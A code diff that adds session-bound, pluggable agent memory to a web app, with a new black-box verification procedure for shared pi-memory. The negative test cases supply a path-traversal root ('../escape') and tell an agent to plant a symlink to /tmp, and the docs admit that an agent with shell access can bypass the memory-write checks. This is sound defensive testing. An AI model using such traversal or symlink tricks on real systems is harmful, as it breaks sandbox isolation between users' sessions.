b/apps/web/src/embed/runtime.ts index fe0abe7d..969fa2c1 100644 --- a/apps/web/src/embed/runtime.ts +++ b/apps/web/src/embed/runtime.ts @@ -102,6 +102,7 @@ export function createRuntime(init: { resources: options?.resources, env: options?.env, tags: options?.tags, + memory: options?.memory, }); pending.set(session.id, { prompt, diff --git a/apps/web/src/embed/types.ts b/apps/web/src/embed/types.ts index b6ac55db..0dc8c64a 100644 --- a/apps/web/src/embed/types.ts +++ b/apps/web/src/embed/types.ts @@ -1,6 +1,7 @@ import type { Attachment, HostResourceInput, + MemoryBinding, MessageDelivery, Resource, ResourceKind, @@ -38,6 +39,8 @@ export interface NewSessionOptions { env?: Record; /** Selector tags (e.g. `projectId:`) to route selector-scoped hosts. */ tags?: string[]; + /** Memory binding for the session, overriding the bundle's default. */ + memory?: MemoryBinding; } export interface NewSessionResult { diff --git a/docs/overview/09-agent-memory.md b/docs/overview/09-agent-memory.md index 1090cf13..5733ffd7 100644 --- a/docs/overview/09-agent-memory.md +++ b/docs/overview/09-agent-memory.md @@ -109,7 +109,25 @@ sequenceDiagram deactivate Agent ``` +## Project memory, shared or local + +Session and global memory cover "this project" and "everywhere." In between, a +session can carry a **project memory** store — configured on the session itself, +not on any folder. It layers on top of the usual session and global memory rather +than replacing them, and comes in a couple of shapes: + +- A simple project note the agents keep up to date. +- A richer, searchable project memory that recalls relevant context at the start + of a turn and summarizes what was learned when a session ends. + +Where that store lives is up to the session. By default it sits in the session's +own workspace (private to the session). Point it at a **mounted shared folder** +instead and the same memory is shared with every other session that mounts the +folder — so the whole team working on that project pulls from one store. The +shared folder is just a mount point; the memory binding is what decides to use it. + ## Where this shows up next - Bundles can seed starting memory: [Agent Bundles](03-agent-bundles.md). - Memory shows up in the live conversation: [Session Chat](02-session-chat.md). +- Shared folders are set up alongside the session root: [Sessions](01-sessions.md). diff --git a/docs/server/extensions-and-prompts.md b/docs/server/extensions-and-prompts.md index af21bed3..c2f5b51f 100644 --- a/docs/server/extensions-and-prompts.md +++ b/docs/server/extensions-and-prompts.md @@ -49,13 +49,19 @@ registered it. That is why `agentConfig.ts` defines tool-name groups that are unioned into the allowlist: - `DEFAULT_TOOLS` = `read, write, edit, bash, grep, find, ls`. -- `SHARED_AGENT_TOOLS` = `read_room, read_memory, message_prime, pin_artifact, +- `SHARED_AGENT_TOOLS` = `read_room, message_prime, pin_artifact, list_remote_tools, call_remote_tool, list_environments` (granted to every agent, even though `message_prime` is only _registered_ for sub-agents and the remote-tools trio only functions when a host is connected — the allowlist must still permit them). -- `PRIME_ORCHESTRATION_TOOLS`, `PRIME_MEMORY_TOOLS`, `PRIME_TRIGGER_TOOLS`, - `PRIME_SESSION_TOOLS` — Prime-only tool names. +- `PRIME_ORCHESTRATION_TOOLS`, `PRIME_TRIGGER_TOOLS`, `PRIME_SESSION_TOOLS` — + Prime-only tool names. +- **Memory tools are not static.** They are contributed at spawn by the session's + resolved memory (see [memory.md](./memory.md)): `SimpleMdMemory` adds + `read_memory` for every agent and `remember` / `suggest_memory` for Prime, and a + session's `pi-memory` binding adds its own tools by role. The manager + unions these into `--tools` from `memoryPlan.allowlistTools`, so the allowlist — + not the extension registration — is the real role gate. --- @@ -117,10 +123,11 @@ session config: artifacts + `pin_artifact`, uploads, triggers, session naming, memory). Built via `composePrimePrompt()` with no bundle layer. - **Prime tools** = `DEFAULT_TOOLS` + `SHARED_AGENT_TOOLS` + - `PRIME_ORCHESTRATION_TOOLS` + `PRIME_MEMORY_TOOLS` + `PRIME_TRIGGER_TOOLS` + - `PRIME_SESSION_TOOLS`. + `PRIME_ORCHESTRATION_TOOLS` + `PRIME_TRIGGER_TOOLS` + `PRIME_SESSION_TOOLS`, + plus the memory tools the resolved memory contributes at spawn. - **SpawnExtras** = empty (`spawnExtras(undefined)` returns empty arrays), so no - `--skill` / `--prompt-template` / extra `--extension` flags. + `--skill` / `--prompt-template` / extra `--extension` flags — except any + `--extension` the resolved memory adds (e.g. a `pi-memory` binding). - **Sub-agents** spawned later resolve against the **global** templates ([server/src/pi/agents/](../../server/src/pi/agents)) and the base [subagentSystemPrompt.md](../../server/src/pi/subagentSystemPrompt.md). @@ -139,7 +146,8 @@ drives every spawn: task-specific instructions on top. - **Prime tools** = `manifest.prime.tools` (or `DEFAULT_TOOLS`) unioned with `SHARED_AGENT_TOOLS` + the Prime-only groups, now including - `PRIME_TRIGGER_TOOLS` (`resolvePrimeTools`). So a bundle never needs to list + `PRIME_TRIGGER_TOOLS` (`resolvePrimeTools`), plus the memory tools contributed + at spawn. So a bundle never needs to list orchestration/memory/trigger/session tools; they're always added (matching a blank session). - **subagentDefaults** = `{ tools, appendSystemPrompt }` from the manifest's diff --git a/docs/server/index.md b/docs/server/index.md index 2af8a1a7..6f2630fb 100644 --- a/docs/server/index.md +++ b/docs/server/index.md @@ -31,6 +31,7 @@ JSONL files on disk. Both survive a restart. | [configuration-bundles.md](./configuration-bundles.md) | The Configuration Bundle format, install pipeline, and the marketplace store. | | [triggers.md](./triggers.md) | The trigger subsystem: manager, engine, scheduling, callbacks, and signal-to-prompt resolution. | | [memory.md](./memory.md) | Global + session memory stores, the injected preamble, and the suggest/confirm flow. | +| [pi-memory-verification.md](./pi-memory-verification.md) | Black-box verification procedure for pluggable pi-memory (incl. multi-session shared memory) an embed host can implement. | | [sessions-and-storage.md](./sessions-and-storage.md) | The session model, the `SessionStore` abstraction, the SQLite schema, the per-session root folder, and the file server. | | [egress-and-security.md](./egress-and-security.md) | The internal-token trust model, the egress allowlist proxy, sandboxing, and security findings. | diff --git a/docs/server/memory.md b/docs/server/memory.md index 483e3bc9..d14e8d2a 100644 --- a/docs/server/memory.md +++ b/docs/server/memory.md @@ -2,10 +2,19 @@ [< Back to index](./index.md) -Agents have two memory stores, both owned by the -[`MemoryManager`](../../server/src/pi/memory.ts) and exposed through the -[memory extension](../../server/src/pi/extensions/memory.ts) and the -[internal memory API](../../server/src/routes/internalMemory.ts): +Memory is **pluggable**. Each session resolves to a tree of +[`MemoryBackend`](../../server/src/memory/types.ts) leaves — always the built-in +`SimpleMdMemory`, optionally joined (via [`CompositeMemory`](../../server/src/memory/composite.ts)) +with the session's own [`MemoryBinding`](../../packages/shared/src/contracts.ts). The +[`MemoryResolver`](../../server/src/memory/resolver.ts) builds that tree, the Pi +spawn folds it into the child process, and the +[internal memory API](../../server/src/routes/internalMemory.ts) dispatches the +dispatcher-backed tools. + +The default leaf, `SimpleMdMemory` +([simpleMd.ts](../../server/src/memory/simpleMd.ts); also re-exported as +`MemoryManager` from [pi/memory.ts](../../server/src/pi/memory.ts) for the +imperative callers), gives every session two markdown stores: - **Global memory** — long-lived facts that apply across every session. Lives at `GLOBAL_MEMORY_DIR/GLOBAL_MEMORY.md`. Only mutated on an explicit user request @@ -13,10 +22,12 @@ Agents have two memory stores, both owned by the - **Session memory** — facts scoped to one session. Lives at the session root as `MEMORY.md`. Created lazily on Prime's first `remember`. -A defining principle: **the server is the sole writer.** The agent's memory tools -only _request_ writes; the server performs the file edit and surfaces the -"remembered" highlight from the actual change, so the UI shows ground truth -rather than the agent's narration (keeping the agent honest). +A defining principle: **the server is the sole writer.** A dispatcher-backed +memory tool only _requests_ a write; the server performs the file edit and +surfaces the "remembered" highlight from the actual change, so the UI shows +ground truth rather than the agent's narration (keeping the agent honest). +(Backends that own their tools inside the Pi process — like `pi-memory` — fall +outside this dispatcher path; see below.) --- @@ -28,10 +39,10 @@ rather than the agent's narration (keeping the agent honest). global memory placed in the session root so the agent can read it with its own file tools. -`initSession(root)` (called before the first spawn in `pi.ensure`) ensures the -global file exists and copies the snapshot into the session root. The session -memory file is intentionally **not** created here — Prime creates it on its first -`remember`. +`SimpleMdMemory.init(ctx)` (run as `resolvedMemory.init()` before the first spawn +in `pi.ensure`) ensures the global file exists and copies the snapshot into the +session root. The session memory file is intentionally **not** created here — +Prime creates it on its first `remember`. `applyEdit(current, text, replaces?)` appends `text` as a new block, or — when `replaces` matches a substring — swaps it in place, keeping a single trailing @@ -41,28 +52,42 @@ newline. ## The injected preamble -Every agent's appended system prompt is joined with a `## Memory` preamble built -by `buildPreamble(root)` (via `appendWithMemory` in -[piAgentManager.ts](../../server/src/pi/piAgentManager.ts)). It embeds the -current global and session memory text inline so memory is authoritative standing -context from the very first turn, and reminds the agent to modify it only via the -memory tools. Because the preamble is built at spawn time, each new process -(including each sub-agent) starts aware of the latest memory. +Every agent's appended system prompt is joined with the resolved memory's +preamble (`session.resolvedMemory.preamble()` in +[piAgentManager.ts](../../server/src/pi/piAgentManager.ts)). For `SimpleMdMemory` +that is a `## Memory` block embedding the current global and session memory text +inline, so memory is authoritative standing context from the very first turn, and +it reminds the agent to modify it only via the memory tools. A composite joins +each leaf's preamble, so the session binding's project-memory note or `pi-memory` +guidance appears alongside it. The preamble is built per role: a sub-agent's +SimpleMD and `pi-memory` guidance only mentions the read tools it actually has +and tells it to report durable learnings to Prime. Because the preamble is built at spawn time, each +new process (including each sub-agent) starts aware of the latest memory. --- ## Tools by role -From the [memory extension](../../server/src/pi/extensions/memory.ts), gated by -`TANGENT_AGENT_ROLE`: +The [memory extension](../../server/src/pi/extensions/memory.ts) registers a +fixed set of dispatcher tools inside each Pi process; each `execute` POSTs to +`/internal/memory/call`. A leaf declares which of them a role actually gets via +`tools(role)`, and the **spawn allowlist is the real gate** — a tool absent from +`--tools` is never offered, regardless of the extension registration. For +`SimpleMdMemory`: -- **All agents:** `read_memory` — returns the current session + global text - (`GET /internal/memory/read`). Sub-agents that spot something worth remembering - must mention it in their reply and let Prime decide (per +- **All agents:** `read_memory` — returns the current session + global text. + Sub-agents that spot something worth remembering must mention it in their reply + and let Prime decide (per [subagentSystemPrompt.md](../../server/src/pi/subagentSystemPrompt.md)). - **Prime only:** `remember` (write directly) and `suggest_memory` (propose a change the user must confirm). Prime owns the human conversation, so it is the - sole writer. + sole writer. This is enforced three ways: the extension registers them only + for Prime, a sub-agent's spawn drops them (and pi-memory's write tools) even + when its spawn request or template lists them, and `/internal/memory/call` + rejects them unless the calling `agentId` is the session's Prime. That + `agentId` is self-reported, so these checks keep sub-agents from writing + through the memory tools but don't isolate an agent whose shell can read the + internal token and call the endpoint directly. Malformed params (empty `text`, an unknown `scope`) are rejected with a 400. `remember` uses `scope: "session"` by default (or when Prime spots a durable session improvement) and `scope: "global"` ONLY on an explicit user request. @@ -71,6 +96,131 @@ especially global facts — goes through `suggest_memory` instead. --- +## Pluggable backends + +A [`MemoryBackend`](../../server/src/memory/types.ts) declares its `preamble`, +its dispatcher `tools(role)`, its spawn extras (`spawn(ctx, role)` → +env / `--extension` paths / allowlist), and how to `execute` a dispatcher tool. +`CompositeMemory` unions several: it concatenates preambles, unions tools +(deduped), merges spawn extras, and routes `execute` to the first child that +owns the tool. + +The `MemoryResolver` produces a session's `ResolvedMemory`: + +- `resolveDefault(sessionId, root)` — **synchronous**, `SimpleMdMemory` only. + The fallback when a full resolution fails. +- `resolve(sessionId, root)` — **async**; reads the session's own `MemoryBinding` + from the session store (`getSessionMemory`) and, when present, returns a + `CompositeMemory([SimpleMd, sessionLeaf])`. `pi.ensure` (async) calls it on + every Prime spawn, whichever caller ensures first, and caches the result on + the session's process record so every spawn under that Prime (sub-agents, + revive, model-change) reuses it. `/internal/memory/call` runs against that + cached resolution (and the live agent's role) whenever the calling agent is + running, so a tool call never re-resolves memory; it only falls back to + `resolve` plus the agent roster when the caller isn't live. + +### The session's memory binding + +Memory is an attribute of the **session**, not the mount. The binding is stored +on `sessions.memory` (server-only, like `sessions.env`); it is set at create time +from the create request's `memory` override, falling back to the agent bundle's +`memoryBinding` default (`body.memory ?? config.memory`). A shared folder is just +a mount point — point a binding's `root` at a mounted folder (``) or +a path inside it (`/…`) to land the store there and share it across +sessions; omit `root` to keep the store local to the session. + +Each directory-backed leaf resolves its `root` relative to the session root, with +a guard that rejects any path escaping it and the session root itself (`"."`), +whose `MEMORY.md` is SimpleMD's session memory. The guard then resolves +symlinks: the real path must still lie inside the session root, or be or lie +inside one of the shared folders **this session mounted** (its `mount` rows in +the resource catalog), so neither a re-pointed mount symlink nor a link planted in a mounted +folder can redirect a store into another session or an unmounted folder. The +resolved real path is kept and never re-resolved, so relinking the workspace +path after resolution can't move the store or its qmd index either. A shared +note (`/MEMORY.md`) that is itself a symlink pointing outside its folder +is not injected. + +A pi-memory `root` is either omitted (the session-local `.pi-memory/`) or names +a mount passed in the same create request, or a path inside one. Seed mounts are symlinked before +the binding is stored, and the binding is **settled once, at creation** +(`settleBinding`): a pi-memory leaf whose top-level folder isn't an existing +directory (an unseeded mount, or a mount whose shared folder is missing on disk) +is dropped, as is one that the pi-memory package can't load. The stored binding +then has no pi-memory leaf, so the session is SimpleMD-only for its whole life — +mounting the folder later does not turn pi-memory on. A missing top-level folder +is never created, so it can't occupy a mount name. If a store that existed at +creation later disappears, that Prime spawn leaves pi-memory out with a warning. +Bindings: + +- `simple-md` → [`SharedMarkdownMemory`](../../server/src/memory/sharedMarkdown.ts) + when a `root` is given: injects `/MEMORY.md` as standing context; agents + edit it with ordinary file tools (no dispatcher tools, no server write path). + Until the note exists, the preamble says so and tells the agent where to + create it. + Without a `root` the always-on `SimpleMdMemory` already covers it, so the leaf + adds nothing. +- `pi-memory` → [`PiMemory`](../../server/src/memory/piMemory.ts): binds the + [`pi-memory`](https://www.npmjs.com/package/pi-memory) npm extension to + `/` (default `.pi-memory/`) as `PI_MEMORY_DIR`. It owns its tools + (`memory_write`, `memory_read`, `scratchpad`, `memory_search`, …) inside the Pi + process, so it contributes no server dispatcher tools — instead it adds its + extension to `--extension` and allowlists its tools by role (Prime gets all; + sub-agents get read-only `memory_read` / `memory_search` / `memory_status`). + Its lifecycle hooks (snapshot injection on `before_agent_start`, exit summary on + `session_shutdown`, qmd upkeep) run inside that process; all fire under + `pi --mode rpc --no-session`. `PiMemoryConfig` tunes the hooks via env knobs + (`exitSummary`, `snapshot`, `qmdUpdate`, `search`, `exitSummaryModel`) and + defaults to "max memory power" (everything on). Every knob is emitted + explicitly, and inherited `PI_MEMORY_*` / qmd env from the server or the + session is dropped, so only the binding configures the store. Sub-agents run + with the exit summary and qmd upkeep off, so they never append to the shared + daily log. The preamble names the store by its workspace path (e.g. + `project/pi-memory/`) and, when that differs from the real path pi-memory's + tools report, says both name the same files. + + **qmd isolation.** pi-memory hard-codes one qmd collection name + (`pi-memory`), so each store gets its own qmd index, and two sessions share a + collection exactly when they resolve to the same real store directory (same + shared folder, same `root`). The index and its config live **outside the + store**, in server-owned state under `QMD_STATE_ROOT` (default + `.qmd-state/`), keyed by the store's real path relative to `SHARED_ROOT` + (`shared//`) or `SESSIONS_ROOT` (`sessions//`). The + spawn points `INDEX_PATH` and `QMD_CONFIG_DIR` there. Prime's `init` rewrites + that `index.yml` every time: one `pi-memory` collection over the store, with + no `update:` hook and no model override. Agents that can write a shared + folder therefore can't plant a command that other sessions' `qmd update` + would run, and they can't repoint the collection. Deleting a session removes + its `sessions//` state; shared-folder state outlives sessions. The server + refuses to start when `SESSIONS_ROOT`, `SHARED_ROOT` and `QMD_STATE_ROOT` are + the same directory or nested inside each other. + + qmd lets a project-local `.qmd/index.yml` (or `index.yaml`) found by walking + up from its working directory (the session root) override both env vars, and + pi-memory registers its collection there on start. When such a file exists at + or above the session root, every spawn (Prime or sub-agent) **leaves + pi-memory out** with a `[memory] qmd would use the project-local config …` + error, rather than leak the store into a foreign index. Remove the stray + `.qmd/` (e.g. from a `qmd init` in the repo or the sessions directory) and the + next spawn picks pi-memory up again. The check runs at spawn time only: an + agent can still create one in its session root while its process runs, and + pi-memory runs `qmd` from that directory. Hosts that ran an earlier build may still have a + global `pi-memory` collection in `~/.config/qmd/index.yml` and + `~/.cache/qmd/index.sqlite`, or `.qmd/` directories inside stores; none are + read any more and all are safe to delete. + + These are path-level guarantees for agents that use the memory tools, not an + OS sandbox. An agent with unrestricted shell access can still read other + sessions' files directly, or swap a directory inside a folder it can write + for a symlink that pi-memory then follows; closing that is a + process-sandbox concern, not a qmd one. + +- `composite` → nests the above. At most one `pi-memory` leaf per binding (one + Pi process loads the extension once); a stored binding with more than one + degrades the session to SimpleMD-only. + +--- + ## Sequence: direct write (`remember`) ```mermaid @@ -79,20 +229,20 @@ sequenceDiagram participant Prime participant Ext as Memory Extension participant Internal as InternalMemoryAPI - participant Memory as MemoryManager + participant Memory as SimpleMdMemory participant Store as SessionStore participant Socket as SocketIO participant UI Prime->>Ext: remember({ text, scope?, replaces? }) activate Ext - Ext->>Internal: POST /internal/memory/remember + Ext->>Internal: POST /internal/memory/call { name: "remember" } activate Internal Internal->>Store: getSession(id) activate Store Store-->>Internal: session deactivate Store - Internal->>Memory: write(root, scope, text, replaces) + Internal->>Memory: resolve(...).execute("remember", params) activate Memory Memory->>Memory: applyEdit + writeFileSync (+ refresh snapshot if global) Memory-->>Internal: { scope, stored, added } @@ -122,7 +272,7 @@ sequenceDiagram participant Prime participant Ext as Memory Extension participant Internal as InternalMemoryAPI - participant Memory as MemoryManager + participant Memory as SimpleMdMemory participant Socket as SocketIO participant UI participant Handlers as ChatHandlers @@ -130,9 +280,9 @@ sequenceDiagram Prime->>Ext: suggest_memory({ text, scope? }) activate Ext - Ext->>Internal: POST /internal/memory/suggest + Ext->>Internal: POST /internal/memory/call { name: "suggest_memory" } activate Internal - Internal->>Memory: addSuggestion(sessionId, scope, text) + Internal->>Memory: resolve(...).execute("suggest_memory", params) activate Memory Memory-->>Internal: { id } deactivate Memory diff --git a/docs/server/pi-memory-verification.md b/docs/server/pi-memory-verification.md new file mode 100644 index 00000000..e13e46fb --- /dev/null +++ b/docs/server/pi-memory-verification.md @@ -0,0 +1,447 @@ +# pi-memory Verification Procedure (embedded-mode / third-party host) + +[< Back to index](./index.md) + +A black-box verification procedure a **third-party host app** can implement to +confirm that a Tangent instance has pluggable **pi-memory** working end to end — +including **multi-session shared memory**. It drives only the public surfaces an +embed host already uses: the REST API (`/api/*`) and the Socket.IO chat channel. +It does **not** assume filesystem access to the server. + +Related background: [memory.md](./memory.md), +[sessions-and-storage.md](./sessions-and-storage.md), and the memory binding +contract in [`packages/shared/src/contracts.ts`](../../packages/shared/src/contracts.ts) +(`MemoryBinding`, `PiMemoryConfig`, `CreateSessionRequest`). + +--- + +## 0. What you are verifying + +Memory is **pluggable** and is an attribute of the **session**, not of any +folder. Each session resolves to the always-on `SimpleMdMemory` store, optionally +joined with the session's own `MemoryBinding`: + +```ts +type MemoryBinding = + | { kind: "simple-md"; root?: string } + | { kind: "pi-memory"; root?: string; config?: PiMemoryConfig } + | { kind: "composite"; children: MemoryBinding[] }; +``` + +- A binding is supplied either by the **agent bundle default** (`memoryBinding` in + its manifest) or by the **create request** (`CreateSessionRequest.memory`), + which overrides the bundle. The resolved value is persisted on the session. +- `root` is a **session-root-relative POSIX path** for the store directory. Omit + it → the store is **local** to the session. Point it at a **mounted shared + folder** (`"/…"`) → the store is **shared** across every session that + mounts the folder. A shared folder is just a mount point; the binding is what + decides to use it. +- `pi-memory` leaves use the [`@tobilu/qmd`](https://github.com/tobi/qmd) CLI for + `memory_search`. Writes/reads/scratchpad work without qmd; **search and the + background index need qmd on the server process's `PATH`**. Each store has + its own qmd index and collection config, kept in server-owned state under + `QMD_STATE_ROOT` (not inside the store), so sessions sharing a store share + its index and unrelated stores never see each other. A binding may only + resolve into the session root or a folder the session mounted. If a + project-local `.qmd/index.yml` exists at or above the session root, qmd would + prefer it, so the server leaves pi-memory out of every spawn while it + exists; make sure none exists there. `SESSIONS_ROOT`, `SHARED_ROOT` and + `QMD_STATE_ROOT` must be disjoint, or the server won't start. + +> **Hosts that ran an earlier build:** before per-store indexes, every pi-memory +> session searched one global qmd collection, so searches could return another +> store's files (e.g. a daily log that isn't in this session's store). That +> global state — the `pi-memory` collection in `~/.config/qmd/index.yml` and +> `~/.cache/qmd/index.sqlite` of the server's user — is no longer read and is +> safe to delete. + +- A binding holds **at most one** `pi-memory` leaf. Only Prime writes: sub-agents + get `memory_read` / `memory_search` / `memory_status`, and write no exit + summaries. + +The procedure below verifies, in order: the environment preflight (qmd), a +single-session round-trip, a **two-session shared** round-trip, the config knobs, +a path-safety negative case, and the no-binding fallback. + +--- + +## 1. Prerequisites (instance side) + +These are host-operator responsibilities; the verification will surface them if +missing, but set them up first for a green run. + +| Requirement | How to satisfy | Why | +| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `qmd` on the server `PATH` | `npm install -g @tobilu/qmd@2.8.3` (the version the Docker images pin), and ensure the global bin dir is on the **service** PATH (systemd/docker/pm2 env, not just your shell) | The Pi child inherits the server's `process.env` (including `PATH`); `sanitizeSessionEnv` strips `PATH` from per-session env, so qmd must be visible to the server process. | +| A pi-memory-capable bundle | Any installed agent bundle; the binding can come from the create request so the bundle need not declare one | Session creation requires a `bundleId`. | +| Embed CORS | Set `EMBED_ALLOWED_ORIGINS` to include your host app's origin | REST + the Socket.IO handshake are gated by this allowlist. | +| Base URL / auth | `BASE_URL` (default `http://localhost:8787`); send your embed bearer `Authorization` header (or Oktasso cookie) if the instance enforces auth — otherwise calls resolve to the anonymous default user | All `/api/*` calls and the socket handshake. | + +> qmd is **optional** by design. If it is absent, `memory_write` / `memory_read` +> still work; only `memory_search` and background indexing are unavailable. The +> preflight (§3) tells you which state you are in. + +--- + +## 2. Surfaces the host app uses + +**REST** (JSON over `BASE_URL`): + +| Call | Purpose | +| ------------------------------------------- | --------------------------------------------------------------------------- | +| `GET /api/agent-bundles` | pick a `bundleId` (`{ bundles: AgentBundleMeta[] }`) | +| `POST /api/shared-folders` `{ name? }` | create a shared folder → `{ folder: { id, name, … } }` | +| `GET /api/shared-folders` | list folders | +| `POST /api/sessions` `CreateSessionRequest` | create a session (bundle + resources + **memory**) → `{ session: Session }` | +| `GET /api/sessions/:id` | read a session back | +| `DELETE /api/sessions/:id` | tear down | +| `GET /api/global-memory` | read global memory (cross-session SimpleMD) | + +**Socket.IO** (default path `/socket.io`) — how the host talks to Prime and reads +replies: + +- Emit `chat:join` `{ sessionId }` → receive `chat:history`. +- Emit `chat:message` `{ sessionId, content }` (author is resolved server-side; + target defaults to Prime). +- Receive the reply stream: `agent:start` → `agent:delta` (content chunks) → + `agent:end`. Errors arrive on `agent:error`. +- `memory:suggestion` / `memory:confirm` / `memory:dismiss` are the SimpleMD + suggestion flow (Prime-authored). **pi-memory tools run inside the Pi process + and emit no server highlight**, so pi-memory assertions are made on the agent's + **reply text** (§ "How to assert on an agent-owned store"). + +Event names are the string values of `SocketEvents` in the contracts file. + +### How to assert on an agent-owned store + +Because pi-memory curates itself inside the Pi process, the host cannot observe a +server-side write event. Verify by **instruction + read-back** within the agent: + +1. Send a prompt that instructs Prime to persist a **unique token** via + `memory_write` (generate a random marker per run, e.g. `VERIFY-`). +2. In a later turn (or a later session), instruct Prime to `memory_search` / + `memory_read` for that token and **echo the result verbatim**. +3. Assert the marker appears in the `agent:delta`/`agent:end` text. + +Keep prompts explicit and deterministic (name the tool, name the marker, ask for +a verbatim echo) so the assertion is a simple substring check, not NLP. + +--- + +## 3. Preflight: is qmd available? + +**Goal:** classify the instance as _pi-memory with search_ vs _pi-memory without +search_ before running the memory cases. + +1. Create a throwaway session with a **session-local pi-memory** binding: + + ```http + POST /api/sessions + Content-Type: application/json + + { + "name": "verify-preflight", + "bundleId": "", + "memory": { "kind": "pi-memory" } + } + ``` + +2. `chat:join`, then `chat:message`: + + > Run the `memory_status` tool and report, verbatim, whether qmd is installed + > and whether the `pi-memory` collection exists. Do not do anything else. + +3. **Assert:** the reply states qmd is available and a collection is configured + (the extension auto-creates the `pi-memory` collection on first session start). + +**Outcomes** + +- Reports qmd available → run **all** cases below. +- Reports qmd missing → §1 is unmet. Core write/read cases (§4 steps for write & + read) still pass; **skip search-dependent assertions** and the shared-search + case, and flag the instance as "memory without search". + +Tear down the session (`DELETE /api/sessions/:id`). + +--- + +## 4. Case A — single session, session-local pi-memory + +**Goal:** a write persists and is retrievable within one session. + +1. Create session with `"memory": { "kind": "pi-memory" }` (store defaults to + `.pi-memory/` under the session root — private to this session). +2. Mint a unique marker `M = "VERIFY-" + uuid`. +3. `chat:message`: + + > Use `memory_write` to permanently record this exact fact: "`` is the + > canonical verification marker for project Acme." Confirm you wrote it. + + Await `agent:end`. + +4. `chat:message`: + + > Use `memory_read` (and `memory_search` if available) to find the canonical + > verification marker for project Acme, and reply with the exact marker string. + +**Pass:** the step-4 reply contains `M`. +**Search sub-assertion (qmd only):** ask explicitly for `memory_search ""` +and confirm it returns the stored line. + +Tear down. + +--- + +## 5. Case B — multi-session **shared** pi-memory (the key case) + +**Goal:** a fact written by session #1 is recalled by a **different** session #2 +because both point their pi-memory `root` into the **same mounted shared folder**. + +### B.1 Create the shared folder + +```http +POST /api/shared-folders +{ "name": "verify-shared-memory" } +``` + +Keep `folder.id` → `FID`. + +### B.2 Create session #1 (writer) mounting the folder and binding memory into it + +```http +POST /api/sessions +{ + "name": "verify-shared-1", + "bundleId": "", + "resources": [ + { "kind": "mount", "folderId": "", "mountName": "project" } + ], + "memory": { "kind": "pi-memory", "root": "project/pi-memory" } +} +``` + +- The mount symlinks the shared folder to `/project`. +- `root: "project/pi-memory"` resolves (relative to the session root, through the + symlink) to `SHARED_ROOT//pi-memory` — the **shared** store. +- Order matters and is handled server-side: resources are seeded (the mount + symlink exists before the request continues), then the binding is settled and + persisted, then memory is resolved and its dir created — so the store lands + inside the mount. +- The mount must be part of **this create request**. If the binding's top-level + folder doesn't exist at creation (no such mount, or its shared folder is + missing on disk), pi-memory is dropped from the stored binding and the session + is SimpleMD-only for good; mounting the folder later does not turn it on. + +### B.3 Write in session #1 + +Mint `M = "VERIFY-" + uuid`. Join session #1 and `chat:message`: + +> Use `memory_write` to permanently record: "Shared-project decision ``: the +> API base path is /v2." Confirm the write. + +Await `agent:end`. (Optional: prompt "end the session summary now" is not +required; the write is immediate.) + +### B.4 Create session #2 (reader) mounting the **same** folder with the same binding + +```http +POST /api/sessions +{ + "name": "verify-shared-2", + "bundleId": "", + "resources": [ + { "kind": "mount", "folderId": "", "mountName": "project" } + ], + "memory": { "kind": "pi-memory", "root": "project/pi-memory" } +} +``` + +### B.5 Read in session #2 + +Join session #2 and `chat:message`: + +> Use `memory_search` (or `memory_read`) to find the shared-project decision and +> reply with the exact marker string and the API base path you find. + +**Pass (qmd available):** the session #2 reply contains `M` **and** `/v2`, proving +the store written by #1 is visible to #2. +**Pass (qmd absent):** `memory_read` of the shared markdown still surfaces `M` +(search assertion skipped). + +### B.6 Isolation control (negative) + +Create session #3 with a **session-local** binding (`"memory": { "kind": +"pi-memory" }`, no mount, no `root`) and repeat the §B.5 read prompt. + +**Pass:** session #3 does **not** find `M` — confirming the shared store is scoped +to the mount, not leaking into unrelated sessions. + +### B.7 Symlink redirect control (negative) + +A symlink planted inside a shared folder must not redirect another session's +store. In session #1, `chat:message`: + +> Using your shell, run exactly `ln -s /tmp project/redirect` and confirm. + +Then create session #4 mounting the **same** folder with +`"memory": { "kind": "pi-memory", "root": "project/redirect" }` and ask Prime +to list its available `memory_*` tools. + +**Pass:** session #4 spawns with baseline SimpleMD memory and **no** pi-memory +tools. The server logs `resolves through a symlink … outside the session and +its mounted folders`. The same holds for a link to another shared folder +that session #4 didn't mount (e.g. `ln -s "$SHARED_ROOT/" +project/redirect`). + +Tear down sessions #1–#4; the shared folder may be reused or left in place. + +--- + +## 6. Case C — config knobs + +**Goal:** `PiMemoryConfig` reaches the extension. + +1. **Search disabled.** Create a session with: + + ```json + "memory": { "kind": "pi-memory", "config": { "search": false } } + ``` + + Prompt Prime to `memory_search`. **Pass:** Prime reports the search tool is not + available to it (the allowlist drops `memory_search`; env `PI_MEMORY_NO_SEARCH=1`). + +2. **qmd update off.** `"config": { "qmdUpdate": "off" }` — a smoke check that the + session still spawns and `memory_write`/`memory_read` round-trip (no background + indexing). **Pass:** write/read succeed; no error on spawn. + +--- + +## 7. Case D — composite binding + +**Goal:** a composite layers a human-readable note with searchable pi-memory. + +```json +"memory": { + "kind": "composite", + "children": [ + { "kind": "simple-md", "root": "project/NOTES" }, + { "kind": "pi-memory", "root": "project/pi-memory" } + ] +} +``` + +(With the same `mount` of a shared folder as `project`.) + +**Pass:** + +- Before anyone writes it, the agent's standing context says no project memory + note exists yet and to create `project/NOTES/MEMORY.md` with its file tools + (the `simple-md` leaf's preamble). After the agent creates it, a new spawn's + context says the note is at `project/NOTES/MEMORY.md` and embeds its text. +- The pi-memory guidance names the store as `project/pi-memory/` and states + that pi-memory's tools report it by its canonical path (the shared folder's + real path) — both name the same files. +- `memory_write`/`memory_search` (pi-memory leaf) behave as in Case B. + +--- + +## 8. Case E — path-safety negative test + +**Goal:** a `root` that escapes the session root is rejected, degrading to the +always-on SimpleMD store rather than writing outside the sandbox. + +Create a session with a deliberately malicious `root`: + +```json +"memory": { "kind": "pi-memory", "root": "../escape" } +``` + +**Pass:** the session still spawns; Prime has the baseline SimpleMD memory but +**no** pi-memory tools (`memory_write`/`memory_search` absent). The server logs +`[memory] ignoring invalid memory binding`. No directory is created outside the +session root. + +The same degradation applies to `"root": "."` (the session root itself, whose +`MEMORY.md` is SimpleMD's session memory). A composite with two `pi-memory` +leaves is rejected by the create request's validation (400). + +--- + +## 9. Case F — no binding (fallback) + +**Goal:** a session with no override and a bundle that declares none uses +SimpleMD only. + +Create a session with **no** `memory` field (and a bundle without a +`memoryBinding`). Prompt Prime to `read_memory`. + +**Pass:** `read_memory` works (session + global markdown); the pi-memory +`memory_*` tools are **not** offered. Optionally confirm cross-session global +memory via 